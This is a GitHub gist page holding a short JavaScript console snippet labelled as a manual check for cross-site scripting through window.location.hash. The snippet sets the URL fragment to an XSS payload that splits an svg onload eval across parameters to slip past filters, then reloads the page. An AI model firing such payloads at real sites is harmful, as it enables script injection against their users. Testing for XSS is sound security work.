Skip to content

Instantly share code, notes, and snippets.

@xsscx

xsscx/gist:a1db9a493a5c9bb6fe849176c3443f23

Created October 26, 2021 13:36
Show Gist options
  • Save xsscx/a1db9a493a5c9bb6fe849176c3443f23 to your computer and use it in GitHub Desktop.
Save xsscx/a1db9a493a5c9bb6fe849176c3443f23 to your computer and use it in GitHub Desktop.
Download ZIP
console location.hash js manual injection check for xss window.location.hash
Raw
gistfile1.txt
console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>console.log(document.location)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment